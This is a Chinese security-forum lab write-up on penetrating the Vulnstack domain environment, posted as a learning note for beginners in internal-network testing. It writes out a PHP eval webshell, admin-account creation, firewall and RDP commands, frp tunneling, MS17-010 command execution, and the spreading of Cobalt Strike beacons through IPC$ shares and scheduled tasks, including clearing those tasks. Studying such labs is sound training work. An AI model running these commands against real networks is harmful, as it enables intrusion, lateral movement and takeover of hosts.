问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
内网渗透初级篇-一次对简单的域环境渗透过程
漏洞分析
渗透测试
安全工具
从信息收集,web网站一直到打入内网,控制主机的过程。使用到了密码爆破、一句话木马、通信隧道建立、漏洞利用等知识。适合刚开始学习内网的读者阅读。
一、环境搭建 ====== 环境简介: ----- | 操作系统 | IP地址 | |---|---| | 攻击者 kali | IP地址:192.168.31.77 | | 攻击者 Windows 10 | IP地址:192.168.31.83 | | windows 7 | 外网地址:192.168.31.215 内网地址:192.168.52.143 | | windows 2008 | IP地址:192.168.52.138 | | windows 2003 | IP地址:192.168.52.141 |  此次渗透学习利用了红日安全团队的域环境。非常好的学习环境,通过渗透该环境能够学习到很多知识。 下载地址:<http://vulnstack.qiyuanxuetang.net/vuln/detail/2/> (一)win7 web服务器设置 ----------------  phpstudy中设置网站目录为 `C:/phpstudy/www/yxcms`, 点击应用。 站点域名管理中网站目录设置为C:/phpstudy/www/yxcms 网站域名如下设置  hosts文件 如下设置  (二)KALI设置 --------- 在kali攻击机的 `/etc/hosts` 文件中 添加www.yxcms123.com的域名解析  这样就通过浏览器,输入域名直接访问网站。而不是使用IP地址,是渗透环境更加真实。 二、渗透WEB服务器 ========== (一)信息收集 ------- 设置完成后 浏览器输入 www.yxcms123.com 可以正常打开web页面  使用`nmap`对网站进行扫描  yxcms系统的管理员登录页面通常为 `index.php?r=admin/index/login`  尝试修改为 admin  (二)爆破用户名密码 ---------- 利用BurpSuite对用户名和密码进行爆破  设置字典文件  开始爆破,发现密码123456的返回值和其他的返回值长度明显不一样。  使用 admin/123456登录,登录成功。  版本:YxcmsApp 1.2.1 【未授权】 (三)获得Shell ---------- 登录成功后,尝试写入一句话木马。   写入 PHP的一句话木马 ```php <?php @eval($_POST['pass']);?> ```  使用菜刀或蚁剑连接都可以  获得了WEB服务器的Shell  (四)主机信息收集 --------- 查看WEB服务器的网络地址  查看当前用户  查看防火墙的配置信息 ```php netsh firewall show config ```  检查安装的杀毒软件   发现没有安装杀毒软件。 (五)上线CS ------- 利用CS生成Payload  复制生成的txt内容,利用菜刀或蚁剑的终端执行   片刻, 可以看到已经上线  修改延迟时间,因为这里是靶机环境,为了学习用的,所以将时间直接设置为0  (六)内网信息收集 --------- 使用大余师傅编写的插件上传nbtscan 并进行内网搜集,插件主要是为了方便,提高效率。没有的话手动上传也可以。  扫描到内网的三个 ip地址  192.168.52.138是域控制器 关闭web服务器的防火墙(主机信息收集可以得知操作系统信息)   查看web机器的密码  当前密码为p@ssw0rd  (七)创建新用户 -------- 创建用户并加入组 ```php shell net user biu Pass!@#4 /add ```  加入管理组 ```php shell net localgroup administrators biu /add ```  在实战中,创建新用户还是比较容易被发现的。 (八)拓展-开启远程桌面 ------------ 开启3389端口 win7 以上 设置远程桌面端口 ```php reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f ``` 开启远程桌面 ```php wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 ``` 检查端口状态 ```php netstat -an|find "3389" ``` 关闭远程桌面 ```php wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0 ```    防火墙 放行RDP(如需放行) ```php shell netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow ``` 在实战中不到万不得以最好不要登录远程桌面,非常容易被发现。 三、建立通信隧道 ======== 利用frp建立一条一级代理,使WEB服务器作为一个跳板,这样攻击者就可以直接访问到域内的其他主机了。 frp 客户端配置信息  192.168.31.83 是frp服务端的的IP地址 服务器端的配置  将客户端 frpc.exe 及配置文件 frpc.ini上传到web靶机  等待片刻 上传完成 **注意**:上传frp完成时一定要看一下文件的大小,有时候文件会上传的不完整导致程序无法执行。  在服务端(攻击机 Windows 10)开启监听 ```php frps.exe -c frps.ini ```  客户端运行 frpc.exe ```php shell frpc.exe -c frpc.ini ```  在服务端可以看到 监听成功  四、渗透域控制器 ======== (一)利用M etasploit渗透域控 -------------------- msf设置代理  搜索smb,使用第16个`smb/smb_version`  使用`smb_version` 对192.168.52.143/24内网进行扫描,确认之前扫描到的信息 同样扫描到IP地址:143,138,141  扫描的同时可看到代理服务器在走数据  使用 ms17\_010\_command 提权(利用该模块可以在存在漏洞的主机上执行cmd命令)  COMMAND即为要执行的cmd命令 RHOSTS为 目标主机的IP地址 默认 执行 `net group "Domain Admins" /domain`命令   尝试执行`ipconfig`命令   在目标机器上 创建用户,加入管理员组 ```php set command net user biu138 "p@ssw0rd" /add run set command net localgroup administrators biu138 /add run set command net user biu138 run ```  (二)CS生成木马 --------- 在CS中,设置中转监听。   查看监听器  生成木马   生成一个 beacon.exe, 现在需要将 beacon.exe上传到内网中 (三)上传木马到域控 ---------- 先用 CS将beacon.exe 上传到web服务器 52.143中  然后在 web服务器 执行cmd命令开启共享 ```php shell net use \\192.168.52.138\ipc$ p@ssw0rd /user:biu138 ``` (biu138是 域用户,对141渗透时无需再执行 该命令)  然后进入138主机的目录 ```php shell dir \\192.168.52.138\c$ ```  然后查看 138主机中运行的进程 ```php shell tasklist /S 192.168.52.138 /U biu138 /P p@ssw0rd ```  使用平台 检测 主机是否存在杀软  没有安装杀软  复制beacon.exe 到 52.138主机上 ```php shell copy C:\phpStudy\WWW\yxcms\beacon.exe \\192.168.52.138\c$ ```  上传木马到域控的方法还有很多,比如利用web服务器下载。这里先只介绍这么一种。 (四)执行木马上线CS ----------- 利用msf 执行 beacon.exe木马 ```php set command cmd /c "c:\beacon.exe" run ```  可以看到138 已经通过中转上线  进行提权获得一个 稳定的shell    五、渗透内网主机 ======== (一)上传木马 ------- 利用同样的方法拿141主机 使用刚才渗透域控的木马,或者重新生成一个新的木马都可以。  上传到143主机  复制beacon2.exe到 141主机上  (二)利用定时任务执行木马 ------------- 查看 141主机当前的时间 ```php shell net time \\192.168.52.141 ```  创建定时任务 ```php shell at \\192.168.52.141 16:39:00 C:\beacon2.exe ```  清楚创建 定时任务的痕迹 ```php shell at \\192.168.52.141 <定时任务ID> /delete ```  成功上线 三台靶机全部上线,而且是最高权限    六、总结 ==== 这是初学域渗透时做的学习笔记,域环境相对来说比较简单,但是还是能够学习到很多的知识,在实战中也可以应用。首先利用BurpSuite爆破获得啦网站的密码,然后通过一句话木马获得shell并上传木马上线CS。建立通信隧道使得攻击者能够直接访问到域内的主机,使用传说中的永恒之蓝漏洞拿下了域控并上线CS。同样利用相同的方式将木马上传到内网用户,并利用定时任务执行,使之上线CS。通过该环境能学习到很多知识,攻击的方法还有好多,可以自行发掘。
发表于 2021-08-23 10:45:14
阅读 ( 6798 )
分类:
内网渗透
0 推荐
收藏
3 条评论
0ne酱
2021-08-23 18:24
入口点WEB服务器,你不都已经抓到域管的明文了嘛。。。。。
请先
登录
后评论
飞神剑
2021-08-26 10:29
那是我设的,这个地方我没用
请先
登录
后评论
小何同学
2023-01-03 22:51
上线CS处没有上线是什么原因呢?
请先
登录
后评论
请先
登录
后评论
飞神剑
一个起早贪黑的保安
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!